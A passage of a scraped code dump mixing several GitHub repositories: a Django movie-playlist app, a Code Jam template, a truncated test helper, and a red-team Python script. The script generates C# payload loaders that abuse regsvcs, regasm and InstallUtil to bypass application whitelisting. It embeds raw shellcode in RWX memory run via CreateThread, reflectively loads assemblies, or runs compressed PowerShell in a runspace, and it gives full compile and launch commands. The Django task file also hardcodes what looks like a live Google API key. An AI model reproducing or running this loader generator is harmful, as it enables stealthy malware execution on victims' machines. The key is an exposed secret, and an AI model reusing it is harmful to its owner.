"UTF-8", "text": "from django.contrib import admin\n\n# Register your models here.\nfrom .models import Movie,PlayList,Category,Profile\nadmin.site.register(Movie)\nadmin.site.register(PlayList)\nadmin.site.register(Category)\nadmin.site.register(Profile)" }, { "alpha_fraction": 0.5586124658584595, "alphanum_fraction": 0.5723684430122375, "avg_line_length": 37.88372039794922, "blob_id": "fb3f58c1e1e9647ab037f3c4e089d2d5b65617b8", "content_id": "9608c3c78d93403612aa863d7844730947599b87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1672, "license_type": "no_license", "max_line_length": 194, "num_lines": 43, "path": "/core/migrations/0001_initial.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.3 on 2020-02-10 17:53\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='BaseModel',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('updated_at', models.DateTimeField(auto_now=True)),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ],\n ),\n migrations.CreateModel(\n name='Movie',\n fields=[\n ('basemodel_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='core.BaseModel')),\n ('movie_id', models.CharField(max_length=50)),\n ('movie_url', models.URLField()),\n ('movie_thumbnail', models.CharField(max_length=200)),\n ('movie_duration', models.PositiveIntegerField()),\n ('movie_title', models.CharField(max_length=200)),\n ],\n bases=('core.basemodel',),\n ),\n migrations.CreateModel(\n name='PlayList',\n fields=[\n ('basemodel_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='core.BaseModel')),\n ('movies', models.ManyToManyField(to='core.Movie')),\n ],\n bases=('core.basemodel',),\n ),\n ]\n" }, { "alpha_fraction": 0.7078986763954163, "alphanum_fraction": 0.7078986763954163, "avg_line_length": 32.599998474121094, "blob_id": "03a3a7d12ae028ae087da212ea1dcd2a7ff39f2c", "content_id": "3b7578d0f85419778498acdd0fc8c2394866666a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 671, "license_type": "no_license", "max_line_length": 71, "num_lines": 20, "path": "/core/urls.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom .views import index,youtube,add_to_playlist\nfrom .api import MovieAPI,PlayListAPI,MovieCreateAPI,MoviesAPI,UserList\nfrom rest_framework import routers\n\nrouter = routers.SimpleRouter()\nrouter.register(r'user', UserList)\n\nurlpatterns = [\n path('',index),\n path('data/',youtube),\n path('play/',add_to_playlist),\n path('movie/',MovieAPI.as_view(),name='movies'),\n # path('user/',UserList,name='user'),\n path('movies/',MoviesAPI.as_view(),name='movies_create'),\n path('movie/create/',MovieCreateAPI.as_view(),name='movie_create'),\n path('playlist/',PlayListAPI.as_view(),name='playlist'),\n]\n\nurlpatterns += router.urls" }, { "alpha_fraction": 0.48222222924232483, "alphanum_fraction": 0.6933333277702332, "avg_line_length": 15.666666984558105, "blob_id": "59c35f6d74b6509b32be038d7230c049cad98754", "content_id": "0cfe56eafd309013d5dd2e6a7723b0057c8323d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 450, "license_type": "no_license", "max_line_length": 28, "num_lines": 27, "path": "/requirements.txt", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "asgiref==3.2.3\nattrs==19.3.0\ncertifi==2019.11.28\nchardet==3.0.4\ncoverage==5.0.3\nDjango==3.0.3\ndjango-rest-framework==0.1.0\ndjangorestframework==3.11.0\nidna==2.8\nimportlib-metadata==1.5.0\nisodate==0.6.0\nmore-itertools==8.2.0\npackaging==20.1\npluggy==0.13.1\npy==1.8.1\npyparsing==2.4.6\npytest==5.3.5\npytest-cov==2.8.1\npytest-django==3.8.0\npytz==2019.3\nredis==2.10.3\nrequests==2.22.0\nsix==1.14.0\nsqlparse==0.3.0\nurllib3==1.25.8\nwcwidth==0.1.8\nzipp==2.2.0\n" }, { "alpha_fraction": 0.5693575739860535, "alphanum_fraction": 0.5770323872566223, "avg_line_length": 36.031578063964844, "blob_id": "0d7144c215c256517c160108732f1f36d0a5d951", "content_id": "796de5025c60883e35ea1feddfd521108e2415f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3518, "license_type": "no_license", "max_line_length": 75, "num_lines": 95, "path": "/core/tests.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "from django.test import TestCase\nfrom datetime import datetime\nimport json\nfrom .serializers import PlayListSerializer,MovieSerializer\nfrom django.utils import timezone\nfrom .models import BaseModel,Movie,PlayList\nimport pytest\nfrom rest_framework.test import APITestCase\nfrom rest_framework import status\nfrom django.urls import reverse\n # return APIClient()\nclass TestPlaylist(APITestCase):\n def setUp(self):\n self.name = \"manu\"\n self.movie = Movie(\n movie_id = 'id',\n movie_url = \"https://www.youtube.com/watch?v={ res['id']}\",\n movie_thumbnail = 'snippet',\n movie_duration = 60,\n movie_title = 'snippet',\n )\n self.plays = PlayList(name=self.name)\n self.plays.save()\n mov = self.plays.movies.create(movie_id = 'id',\n movie_url = \"https://www.youtube.com/watch?v={ res['id']}\",\n movie_thumbnail = 'snippet',\n movie_duration = 60,\n movie_title = 'snippet',)\n mov.save()\n @pytest.mark.django_db\n def test_can_get_playlist(self):\n url = reverse('playlist')\n response = self.client.get(url)\n self.assertEqual(response.status_code,status.HTTP_200_OK)\n def test_instance(self):\n self.assertTrue(isinstance(self.plays,PlayList))\n def test_save_method(self):\n self.plays.save()\n sd = PlayList.objects.all()\n self.assertTrue(len(sd) > 0)\nclass MovieTestCase(APITestCase):\n def setUp(self):\n self.movie = Movie(\n movie_id = 'id',\n movie_url = \"https://www.youtube.com/watch?v={ res['id']}\",\n movie_thumbnail = 'snippet',\n movie_duration = 60,\n movie_title = 'snippet',\n )\n self.valid_payload = {\n 'movie_id' : 'id',\n 'movie_url' : \"https://www.youtube.com/watch?v=asmvv8w8JY0\",\n 'movie_thumbnail' : 'snippet',\n 'movie_duration' : 60,\n 'movie_title' : 'snippet',\n }\n self.invalid_payload = {\n 'movie_id' : '',\n 'movie_url' : \"https://www.youtube.com/watch?v:{ res['id']}\",\n 'movie_thumbnail' : 'snippet',\n 'movie_duration' : 60,\n 'movie_title' : 'snippet',\n }\n self.movie.save()\n def test_instance(self):\n self.assertTrue(isinstance(self.movie,Movie))\n def test_can_save(self):\n Mov = Movie.objects.all()\n self.assertTrue(len(Mov) > 0)\n def test_can_get_all(self):\n url = reverse('movies')\n response = self.client.get(url)\n movies = Movie.objects.all()\n serialiizer = MovieSerializer(movies,many=True)\n self.assertEqual(response.data,serialiizer.data)\n self.assertEqual(response.status_code,status.HTTP_200_OK)\n def test_create_movie(self):\n url = reverse('movies_create')\n response = self.client.post(\n url,\n self.valid_payload,\n format='json'\n )\n # serializer = MovieSerializer(instance =data)\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n \"\"\"\n testing that invalid data cannot be created \n \"\"\"\n def test_create_invalid_puppy(self):\n response = self.client.post(\n reverse('movies_create'),\n self.invalid_payload,\n content_type='application/json'\n )\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n" }, { "alpha_fraction": 0.7440677881240845, "alphanum_fraction": 0.7508474588394165, "avg_line_length": 31.83333396911621, "blob_id": "0ed0259be7e631ae0e9f93344c6d9d1e6d9327c0", "content_id": "221f7dabf0a3c74ca5f03cc6ac4da10838a839da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 590, "license_type": "no_license", "max_line_length": 85, "num_lines": 18, "path": "/core/tasks.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "from celery.task.schedules import crontab\nfrom celery.decorators import periodic_task\nimport requests\nfrom django.http import HttpResponse\nfrom isodate import parse_duration\nfrom .models import Movie\nfrom django.shortcuts import get_object_or_404\nfrom celery.utils.log import get_task_logger\nfrom .views import save_youtube\nlogger = get_task_logger(__name__)\nAPI_KEY = \"AIzaSyDQnTT1O4JNvLBEWTaCj-65aAU4vQd7A_o\"\n@periodic_task(run_every=(crontab(minute='*/1')), name=\"youtube\", ignore_result=True)\ndef youtube():\n \"\"\"\n Saves latest image from Flickr\n \"\"\"\n save_youtube()\n logger.info(\"Saved image from Flickr\")" } ]
14
laowang1026/Penetration-Testing-Tools
https://github.com/laowang1026/Penetration-Testing-Tools
47e9b85f16f13524872fa3f4811506dff1d51108
fe824c97f32ce3d3efc5c524c5d89e3c2c5399ac
d0f88ac67e3e3059d61a21c0c48394cfa2afde32
refs/heads/master
2023-02-08T06:55:32.304455
2021-01-04T20:19:54
2021-01-04T20:19:54
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5862835049629211, "alphanum_fraction": 0.6148718595504761, "avg_line_length": 32.88888931274414, "blob_id": "b2c1d13f6bca1c582a9743b0461a844a2ac4794a", "content_id": "58b3fe5bfebc91a3f61719f5ad11630d28ee41d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13502, "license_type": "no_license", "max_line_length": 243, "num_lines": 387, "path": "/red-teaming/rogue-dot-net/generateRogueDotNet.py", "repo_name": "laowang1026/Penetration-Testing-Tools", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\r\n#\r\n# Red-Teaming script that constructs C# code for Regsvcs/Regasm/InstallUtil code execution technique.\r\n#\r\n# Step 1: Generate source code file\r\n# cmd> python3 generateRogueDotNet.py -r payload.bin > program.cs\r\n#\r\n# Step 2: Compilate library .NET Assembly\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs\r\n# \r\n# if you passed Powershell code to be launched in a .NET Runspace, then an additional assembly will have to be used\r\n# to compile resulting source code properly - meaning System.Management.Automation.dll (provided with this script).\r\n# Then proper compilation command will be:\r\n#\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs\r\n#\r\n# Step 3: Code execution via Regsvcs, Regasm or InstallUtil:\r\n# x86:\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe rogue.dll\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe rogue.dll\r\n\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe /U rogue.dll \r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U rogue.dll\r\n\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll\r\n# x64:\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regsvcs.exe rogue.dll\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe rogue.dll\r\n\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regsvcs.exe /U rogue.dll \r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe /U rogue.dll\r\n\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll\r\n# cmd> %WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll\r\n#\r\n# Mariusz B. / mgeeky, <[email protected]>\r\n#\r\n\r\nimport re\r\nimport os\r\nimport io\r\nimport sys\r\nimport gzip\r\nimport base64\r\nimport string\r\nimport struct\r\nimport random\r\nimport binascii\r\nimport argparse\r\n\r\n\r\ndef getCompressedPayload(filePath):\r\n out = io.BytesIO()\r\n encoded = ''\r\n with open(filePath, 'rb') as f:\r\n inp = f.read()\r\n\r\n with gzip.GzipFile(fileobj = out, mode = 'w') as fo:\r\n fo.write(inp)\r\n\r\n encoded = base64.b64encode(out.getvalue())\r\n\r\n powershell = \"$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();\".format(\r\n encoded.decode()\r\n )\r\n return powershell\r\n\r\ndef getSourceFileContents(payload, _format):\r\n launchCode = ''\r\n usings = ''\r\n\r\n if _format == 'exe':\r\n\r\n exeLaunchCode = string.Template('''\r\n public static void Execute() {\r\n\r\n string payload = \"$payload2\";\r\n byte[] decoded = System.Convert.FromBase64String(payload);\r\n\r\n Assembly asm = Assembly.Load(decoded);\r\n MethodInfo method = asm.EntryPoint;\r\n object instance = asm.CreateInstance(method.Name);\r\n method.Invoke(instance, null); \r\n\r\n }''').safe_substitute(\r\n payload2 = base64.b64encode(payload.encode()).decode()\r\n )\r\n\r\n\r\n launchCode = exeLaunchCode\r\n\r\n elif _format == 'raw':\r\n\r\n foo = str(binascii.hexlify(payload), 'ascii')\r\n fooarr = ['0x{}'.format(foo[i:i+2]) for i in range(0, len(foo), 2)]\r\n encodedPayload = ' '\r\n\r\n for i in range(len(fooarr)):\r\n if i % 16 == 0 and i > 0:\r\n encodedPayload += '\\n '\r\n encodedPayload += '{}, '.format(fooarr[i])\r\n\r\n encodedPayload = encodedPayload.strip()[:-1]\r\n\r\n shellcodeLoader = string.Template('''\r\n [DllImport(\"kernel32\")]\r\n private static extern IntPtr VirtualAlloc(\r\n IntPtr lpAddress, UIntPtr dwSize, \r\n UInt32 flAllocationType, \r\n UInt32 flProtect\r\n );\r\n\r\n [DllImport(\"kernel32\")]\r\n private static extern bool VirtualFree(\r\n IntPtr lpAddress, \r\n UInt32 dwSize, \r\n UInt32 dwFreeType\r\n );\r\n\r\n [DllImport(\"kernel32\")]\r\n private static extern IntPtr CreateThread( \r\n UInt32 lpThreadAttributes, \r\n UInt32 dwStackSize, \r\n IntPtr lpStartAddress, \r\n IntPtr param, \r\n UInt32 dwCreationFlags, \r\n ref UInt32 lpThreadId \r\n );\r\n\r\n [DllImport(\"kernel32\")]\r\n private static extern bool CloseHandle(\r\n IntPtr hHandle\r\n );\r\n\r\n [DllImport(\"kernel32\")]\r\n private static extern UInt32 WaitForSingleObject( \r\n IntPtr hHandle, \r\n UInt32 dwMilliseconds \r\n );\r\n\r\n private static UInt32 MEM_COMMIT = 0x1000;\r\n private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\r\n private static UInt32 MEM_RELEASE = 0x8000;\r\n\r\n public static void Execute() {\r\n\r\n byte[] payload = new byte[$payloadSize] {\r\n $payload2\r\n };\r\n\r\n IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n Marshal.Copy(payload, 0, funcAddr, payload.Length);\r\n IntPtr hThread = IntPtr.Zero;\r\n UInt32 threadId = 0;\r\n\r\n hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId);\r\n WaitForSingleObject(hThread, 0xFFFFFFFF);\r\n\r\n CloseHandle(hThread);\r\n VirtualFree(funcAddr, 0, MEM_RELEASE);\r\n\r\n }''').safe_substitute(\r\n payload2 = encodedPayload,\r\n payloadSize = len(payload)\r\n )\r\n\r\n launchCode = shellcodeLoader\r\n\r\n else:\r\n usings += '''\r\nusing System.Management.Automation;\r\nusing System.Management.Automation.Runspaces;\r\n'''\r\n powershellLaunchCode = string.Template('''\r\n public static void Execute() {\r\n\r\n byte[] payload = System.Convert.FromBase64String(\"$payload2\");\r\n string decoded = System.Text.Encoding.UTF8.GetString(payload);\r\n\r\n Runspace runspace = RunspaceFactory.CreateRunspace();\r\n runspace.Open();\r\n\r\n Pipeline pipeline = runspace.CreatePipeline();\r\n pipeline.Commands.AddScript(decoded);\r\n pipeline.Invoke();\r\n\r\n runspace.Close();\r\n }''').safe_substitute(\r\n payload2 = base64.b64encode(payload.encode()).decode()\r\n )\r\n\r\n launchCode = powershellLaunchCode\r\n\r\n\r\n template = string.Template('''\r\nusing System;\r\nusing System.Diagnostics;\r\nusing System.Reflection;\r\nusing System.Runtime.InteropServices;\r\nusing System.EnterpriseServices;\r\n$usings\r\n\r\n/*\r\n Author: Casey Smith, Twitter: @subTee\r\n Customized by: Mariusz B. / mgeeky, <[email protected]>\r\n License: BSD 3-Clause\r\n\r\n Step 1: Create Your Strong Name Key -> key.snk\r\n\r\n $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='\r\n $Content = [System.Convert]::FromBase64String($key)\r\n Set-Content key.snk -Value $Content -Encoding Byte\r\n\r\n Step 2: Compile source code:\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs\r\n\r\n Step 3: Execute your payload!\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\regsvcs.exe rogue.dll \r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\regsvcs.exe /U rogue.dll \r\n\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\regasm.exe rogue.dll\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\regasm.exe /U rogue.dll\r\n\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll\r\n# %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll\r\n*/\r\n\r\nnamespace Program\r\n{\r\n public class Bypass : ServicedComponent\r\n {\r\n public Bypass() \r\n { \r\n }\r\n \r\n // This executes if registration is successful\r\n [ComRegisterFunction]\r\n public static void RegisterClass( string key )\r\n {\r\n Shellcode.Execute();\r\n }\r\n \r\n // This executes if registration fails\r\n [ComUnregisterFunction]\r\n public static void UnRegisterClass( string key )\r\n {\r\n Shellcode.Execute();\r\n }\r\n }\r\n\r\n [System.ComponentModel.RunInstaller(true)]\r\n public class ForInstallUtil : System.Configuration.Install.Installer\r\n {\r\n // This executes during InstallUtil /U invocation\r\n public override void Uninstall(System.Collections.IDictionary savedState)\r\n {\r\n Shellcode.Execute();\r\n }\r\n }\r\n \r\n public class Shellcode\r\n {\r\n $launchCode \r\n }\r\n}''').safe_substitute(\r\n launchCode = launchCode,\r\n usings = usings\r\n )\r\n\r\n return template\r\n\r\ndef detectFileIsExe(filePath, forced = False):\r\n first1000 = []\r\n\r\n with open(filePath, 'rb') as f:\r\n first1000 = f.read()[:1000]\r\n\r\n if not (first1000[0] == 'M' and first1000[1] == 'Z'):\r\n return False\r\n\r\n elfanew = struct.unpack('<H', first1000[0x3c:0x3c + 2])[0]\r\n\r\n if not (first1000[elfanew + 0] == 'P' and first1000[elfanew + 1] == 'E'):\r\n return False\r\n\r\n dosStub = \"This program cannot be run in DOS mode.\"\r\n printables = ''.join([x for x in first1000[0x40:] if x in string.printable])\r\n\r\n #if not dosStub in printables:\r\n # return False\r\n return True\r\n\r\n\r\ndef opts(argv):\r\n parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <inputFile>')\r\n parser.add_argument('inputFile', help = 'Input file to be embeded within C# code. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.')\r\n parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!')\r\n parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread.')\r\n\r\n args = parser.parse_args()\r\n\r\n if args.exe and args.raw:\r\n sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\\n')\r\n sys.exit(-1)\r\n\r\n return args\r\n\r\ndef main(argv):\r\n sys.stderr.write('''\r\n :: Rogue .NET Source Code Generation Utility\r\n To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm/InstallUtil.\r\n Mariusz B. / mgeeky, <[email protected]>\r\n\r\n''')\r\n if len(argv) < 2:\r\n print('Usage: ./generateRogueDotNet.py <inputFile>')\r\n sys.exit(-1)\r\n\r\n args = opts(argv)\r\n\r\n _format = 'powershell'\r\n\r\n if args.exe:\r\n if not detectFileIsExe(args.inputFile, args.exe):\r\n sys.stderr.write('[-] File not recognized as PE/EXE.\\n\\n')\r\n return False\r\n\r\n _format = 'exe'\r\n sys.stderr.write('[+] File recognized as PE/EXE.\\n\\n')\r\n with open(args.inputFile, 'rb') as f:\r\n payload = f.read()\r\n\r\n elif args.raw:\r\n _format = 'raw'\r\n sys.stderr.write('[+] File specified as raw Shellcode.\\n\\n')\r\n with open(args.inputFile, 'rb') as f:\r\n payload = f.read()\r\n\r\n else:\r\n sys.stderr.write('[+] Powershell code given.\\n')\r\n\r\n if args.inputFile.endswith('.exe'):\r\n return False\r\n \r\n payload = getCompressedPayload(args.inputFile)\r\n\r\n output = getSourceFileContents(payload, _format)\r\n\r\n print(output)\r\n\r\n management = ''\r\n if _format == 'powershell':\r\n management = ' /r:System.Management.Automation.dll'\r\n\r\n commands = '''\r\n\r\n=====================================\r\nNEXT STEPS:\r\n\r\nStep 1: Create Your Strong Name Key -> key.snk (or use the one provided in this directory)\r\n\r\n $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='\r\n $Content = [System.Convert]::FromBase64String($key)\r\n Set-Content key.snk -Value $Content -Encoding Byte\r\n\r\nStep 2: Compile source code:\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\csc.exe /r:System.EnterpriseServices.dll{} /target:library /out:rogue.dll /keyfile:key.snk program.cs\r\n\r\nStep 3: Execute your payload!\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\regasm.exe rogue.dll\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\regasm.exe /U rogue.dll\r\n\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\regsvcs.exe rogue.dll \r\n %WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\regsvcs.exe /U rogue.dll \r\n\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework64\\\\v2.0.50727\\\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll\r\n %WINDIR%\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll\r\n '''.format(management)\r\n\r\n if 'PROGRAMFILES(X86)' in os.environ:\r\n commands = commands.replace('Framework', 'Framework64')\r\n\r\n sys.stderr.write(commands)\r\n\r\nif __name__ == '__main__':\r\n main(sys.argv)\r\n" } ]
1
wgolling/codejam-practice-folder
https://github.com/wgolling/codejam-practice-folder
8b0433bfdd13a56434b4111a564dd40c7e8f485d
88f52835090b32dfd201a1adf677ee861403a5a8
ed64adf0025eb37b7e423f51eed766c6ee8bf36d
refs/heads/master
2023-04-07T19:50:13.531851
2021-04-19T05:52:44
2021-04-19T05:52:44
257,098,376
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.48152562975883484, "alphanum_fraction": 0.4862931966781616, "avg_line_length": 45.61111068725586, "blob_id": "6f4a4098f49dac8fd942ac32f65304e85f9e470e", "content_id": "922c74167068bdeb12422ecabd0727e560979f0b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 839, "license_type": "permissive", "max_line_length": 143, "num_lines": 18, "path": "/templates/template.py", "repo_name": "wgolling/codejam-practice-folder", "src_encoding": "UTF-8", "text": "'''Standard template.\n\nThis template is suitable for Python3 solutions to standard problems in \nGoogle's CodeJame and Kickstart competitions.\n'''\ndef main():\n T = int(input()) # The first input is the number of test cases.\n for i in range(1, T + 1): # Test cases are numbered starting with 1.\n n, m = [int(s) for s in input().split(\" \")] # For each test case, read the input as specified by the problem.\n result = solve_problem(n, m) # Solve the problem for this input.\n print(\"Case #{}: {}\".format(i, result)) # Print the result.\n\ndef solve_problem(a, b):\n return a + b\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5901473760604858, "alphanum_fraction": 0.6052896976470947, "avg_line_length": 34.76173400878906, "blob_id": "59ebcd523c9392e07462baa2e3ce59f1d5fc3f84", "content_id": "679a589796afa2433828ab7140feae76b5f4b64c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9906, "license_type": "permissive", "max_line_length": 91, "num_lines": 277, "path": "/test_new_problem.py", "repo_name": "wgolling/codejam-practice-folder", "src_encoding": "UTF-8", "text": "import os\nimport shutil\nfrom pathlib import Path\nfrom unittest import TestCase\n\nfrom new_problem import Args, FolderMaker, process_input\n\nTEST_PATH = Path(__file__).parent.resolve()\n\n#\n# Context managers\n\nclass Cwd(): \n def __init__(self, new_cwd): \n self.new_cwd = new_cwd\n self.old_cwd = None\n \n def __enter__(self): \n self.old_cwd = Path.cwd()\n os.chdir(self.new_cwd) \n return self\n \n def __exit__(self, exc_type, exc_value, exc_traceback): \n os.chdir(self.old_cwd)\n\nclass TestFolders():\n def __init__(self, tree):\n '''\n The constructor takes a tree representing the desired test folder structure,\n with the root representing TEST_PATH.\n '''\n self.tree = tree \n self.tree.path = TEST_PATH\n\n def __enter__(self):\n # Create test folder structure.\n for c in self.tree.children:\n self.recursive_make_tree(c, self.tree)\n # Return tree where nodes contain paths.\n return self.tree \n\n def __exit__(self, exc_type, exc_value, exc_traceback):\n # Remove all test directories.\n for c in self.tree.children:\n shutil.rmtree(c.path)\n\n def recursive_make_tree(self, node, parent):\n assert(parent.path != None)\n node.path = self.new_folder(node.prefix, parent.path)\n for c in node.children:\n self.recursive_make_tree(c, node)\n return node\n\n def new_folder(self, prefix, path):\n '''\n Makes a new folder in the given directory, and then returns its path.\n '''\n if not path.is_dir():\n raise Exception(\"path isn't a directory\")\n folder = prefix\n suffix = 0\n new_folder = path / (folder + str(suffix))\n while new_folder.is_dir():\n suffix += 1\n new_folder = path / (folder 